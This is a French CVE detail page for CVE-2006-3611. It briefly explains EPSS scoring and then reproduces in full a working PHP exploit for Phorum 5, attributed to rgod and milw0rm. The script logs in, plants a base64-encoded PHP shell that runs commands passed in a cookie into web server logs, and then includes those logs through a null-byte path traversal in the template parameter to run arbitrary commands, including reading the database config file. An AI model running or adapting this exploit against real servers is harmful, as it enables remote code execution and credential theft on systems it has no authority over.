CVE-2006-3611 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

#!/usr/bin/php -q -d short_open_tag=on <? echo "PHORUM 5 arbitrary local inclusion exploit\n"; echo "by rgod rgod@autistici.org\n"; echo "site: http://retrogod.altervista.org\n"; echo "dork: \"This forum powered by Phorum.\"\n\n"; /* works with: register_globals=On magic_quotes_gpc=Off */ if ($argc<6) { echo "Usage: php ".$argv[0]." host path user pass cmd OPTIONS\n"; echo "host: target server (ip/hostname)\n"; echo "path: path to phorum\n"; echo "user/pass: you need a valid user account\n"; echo "cmd: a shell command\n"; echo "Options:\n"; echo " -p[port]: specify a port other than 80\n"; echo " -P[ip:port]: specify a proxy\n"; echo "Examples:\n"; echo "php ".$argv[0]." a.b.c.d /phorum/ username password ls -la\n"; echo "php ".$argv[0]." a.b.c.d / username password ls -la -P1.1.1.1:8080\n"; echo "php ".$argv[0]." a.b.c.d / username password cat ./include/db/config.php -p81\n"; die; } error_reporting(0); ini_set("max_execution_time",0); ini_set("default_socket_timeout",5); function quick_dump($string) { $result='';$exa='';$cont=0; for ($i=0; $i<=strlen($string)-1; $i++) { if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 )) {$result.=" .";} else {$result.=" ".$string[$i];} if (strlen(dechex(ord($string[$i])))==2) {$exa.=" ".dechex(ord($string[$i]));} else {$exa.=" 0".dechex(ord($string[$i]));} $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";} } return $exa."\r\n".$result; } $proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)'; function sendpacketii($packet) { global $proxy, $host, $port, $html, $proxy_regex; if ($proxy=='') { $ock=fsockopen(gethostbyname($host),$port); if (!$ock) { echo 'No response from '.$host.':'.$port; die; } } else { $c = preg_match($proxy_regex,$proxy); if (!$c) { echo 'Not a valid proxy...';die; } $parts=explode(':',$proxy); echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n"; $ock=fsockopen($parts[0],$parts[1]); if (!$ock) { echo 'No response from proxy...';die; } } fputs($ock,$packet); if ($proxy=='') { $html=''; while (!feof($ock)) { $html.=fgets($ock); } } else { $html=''; while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) { $html.=fread($ock,1); } } fclose($ock); #debug #echo "\r\n".$html; } $host=$argv[1]; $path=$argv[2]; $user=$argv[3]; $pass=$argv[4]; $cmd=""; $port=80; $proxy=""; for ($i=5; $i<=$argc-1; $i++){ $temp=$argv[$i][0].$argv[$i][1]; if (($temp<>"-p") and ($temp<>"-P")) {$cmd.=" ".$argv[$i];} if ($temp=="-p") { $port=str_replace("-p","",$argv[$i]); } if ($temp=="-P") { $proxy=str_replace("-P","",$argv[$i]); } } if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;} if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;} echo "[1] Login ...\r\n"; $data="forum_id=0"; $data.="&redir=http%3A%2F%2F".$host."%2Findex.php"; $data.="&username=".$user; $data.="&password=".$pass; $packet ="POST ".$p."login.php HTTP/1.0\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="Accept: text/plain\r\n"; $packet.="Connection: Close\r\n"; $packet.="Content-Type: application/x-www-form-urlencoded\r\n"; $packet.="Cookie: phorum_tmp_cookie=this+will+be+destroyed+once+logged+in\r\n"; $packet.="Content-Length: ".strlen($data)."\r\n\r\n"; $packet.=$data; sendpacketii($packet); $cookie=""; $temp=explode("Set-Cookie: ",$html); for ($i=1; $i<=count($temp); $i++) { $temp2=explode(" ",$temp[$i]); $cookie.=" ".$temp2[0]; } if ($cookie==" ") {die("unable to login...");} echo "cookie -> ".$cookie."\n"; echo "[2] Injecting some code in log files...\r\n"; $CODE ='echo phorum_xpl;system($_COOKIE[cmd]);echo phorum_xpl;die();'; $CODE ='<?php eval(base64_decode('.base64_encode($CODE).'));?>'; $packet="GET ".$p.$CODE." HTTP/1.1\r\n"; $packet.="User-Agent: ".$CODE."\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="Connection: close\r\n\r\n"; #debug #echo quick_dump($packet); sendpacketii($packet); # fill with possible locations $paths= array ( "../../../../../../../../../../var/log/httpd/access_log", "../../../../../../../../../../var/log/httpd/error_log", "../apache/logs/error.log", "../apache/logs/access.log", "../../apache/logs/error.log", "../../apache/logs/access.log", "../../../apache/logs/error.log", "../../../apache/logs/access.log", "../../../../apache/logs/error.log", "../../../../apache/logs/access.log", "../../../../../apache/logs/error.log", "../../../../../apache/logs/access.log", "../logs/error.log", "../logs/access.log", "../../logs/error.log", "../../logs/access.log", "../../../logs/error.log", "../../../logs/access.log", "../../../../logs/error.log", "../../../../logs/access.log", "../../../../../logs/error.log", "../../../../../logs/access.log", "../../../../../../../../../../etc/httpd/logs/acces_log", "../../../../../../../../../../etc/httpd/logs/acces.log", "../../../../../../../../../../etc/httpd/logs/error_log", "../../../../../../../../../../etc/httpd/logs/error.log", "../../../../../../../../../../var/www/logs/access_log", "../../../../../../../../../../var/www/logs/access.log", "../../../../../../../../../../usr/local/apache/logs/access_log", "../../../../../../../../../../usr/local/apache/logs/access.log", "../../../../../../../../../../var/log/apache/access_log", "../../../../../../../../../../var/log/apache/access.log", "../../../../../../../../../../var/log/access_log", "../../../../../../../../../../var/www/logs/error_log", "../../../../../../../../../../var/www/logs/error.log", "../../../../../../../../../../usr/local/apache/logs/error_log", "../../../../../../../../../../usr/local/apache/logs/error.log", "../../../../../../../../../../var/log/apache/error_log", "../../../../../../../../../../var/log/apache/error.log", "../../../../../../../../../../var/log/access_log", "../../../../../../../../../../var/log/error_log" ); for ($i=0; $i<=count($paths)-1; $i++) { $a=$i+3; echo "[".$a."] trying with $paths[$i]%00 for template argument\r\n"; $packet="GET ".$p."pm.php?1,page=1&GLOBALS[template]=".urlencode($paths[$i])."%00 HTTP/1.0\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="Cookie: ".$cookie." cmd=".$cmd.";\r\n"; $packet.="Connection: Close\r\n\r\n"; sendpacketii($packet); if (strstr($html,"phorum_xpl")) { echo "exploit succeeded...\n\n"; $temp=explode("phorum_xpl",$html); echo $temp[1]; die; } } //if you are here... echo "exploit failed..."; ?> # milw0rm.com [2006-07-13]